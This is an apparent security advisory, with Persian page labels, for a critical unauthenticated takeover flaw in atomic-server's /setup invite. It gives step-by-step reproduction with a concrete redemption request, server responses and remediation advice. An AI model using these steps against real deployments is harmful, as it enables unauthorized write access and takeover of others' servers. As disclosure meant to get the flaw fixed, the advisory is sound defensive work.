نسخههای متأثر
- نسخههای متأثر
- >= 0.29.0, <= 0.40.1
- نسخهٔ اصلاحشده
- اعلام نشده
بهرهبرداری
شرح آسیبپذیری
Summary
atomic-server provisions a well-known invite at {server}/setup with write = true, target = the Drive root, and usagesLeft = 1. Invite redemption ignores the redeemer's identity (for_agent: _ in server/src/plugins/invite.rs:22), so possession of the URL is the only requirement. An unauthenticated attacker who sends GET /setup?public-key=<attacker_key> has the server create a new Agent and grant it write access to the entire Drive. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.
Severity
Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8). No authentication required; grants attacker-controlled write over all resources in the Drive.
Affected component
server/src/appstate.rs— creates the/setupinvite targeting the Drive root withwrite=true,usagesLeft=1.server/src/plugins/invite.rs:14-173—construct_invite_redirectdestructuresfor_agent: _(redeemer identity discarded);?public-key=→Agent::new_from_public_key→add_rights(agent, target, write=true).
Steps to Reproduce
Environment: joepmeneer/atomic-server:develop in Docker, http://localhost:9883, fresh store. No auth headers are used.
-
Confirm the invite is live —
GET /setup(Accept:application/ad+json) showsinvite/write = true,invite/target = http://localhost:9883(Drive root),usagesLeft = 1. -
Redeem it anonymously with an attacker-generated ed25519 public key:
GET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1
Host: localhost:9883
Accept: application/ad+json
Response 200 OK returns a Redirect confirming the new agent:
{
"https://atomicdata.dev/properties/invite/redirectAgent":
"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=",
"https://atomicdata.dev/properties/isA": ["https://atomicdata.dev/classes/Redirect"]
}
GET /shows the attacker is now in the Drive'swritearray:
"https://atomicdata.dev/properties/write": [
"http://localhost:9883/agents/+/KwsAmyzc7S/...", // legit root
"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=" // ATTACKER
]
The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and
POST /commit(200) — the Drive root was successfully edited. Write access proven.
Expected: /setup must require operator authentication / a one-time secret.
Actual: Any unauthenticated client on the network redeems it and gains Drive-wide write.
Impact
Unauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.)
Remediation
Require a one-time secret (printed to stdout at startup) or operator authentication to redeem
/setup.Invalidate
/setupafter first use with an atomicusagesLeftdecrement (sled transaction) — the current read-check-decrement is a TOCTOU that allows a single-use invite to be redeemed multiple times concurrently.Fix the inverted invite-expiry check in
invite.rs(if expires > now { reject }is backwards, so expired invites remain redeemable and valid ones are rejected).
پیوندها
- https://github.com/advisories/GHSA-pfwx-xjp4-qxcj
- https://github.com/ontola/atomic-server
- https://github.com/ontola/atomic-server/commit/98517d8921c78bd9b728a2459378c184ebf8a969
- https://github.com/ontola/atomic-server/security/advisories/GHSA-pfwx-xjp4-qxcj
- https://nvd.nist.gov/vuln/detail/CVE-2026-69157
گزارشدهندگان
- luuhung1217

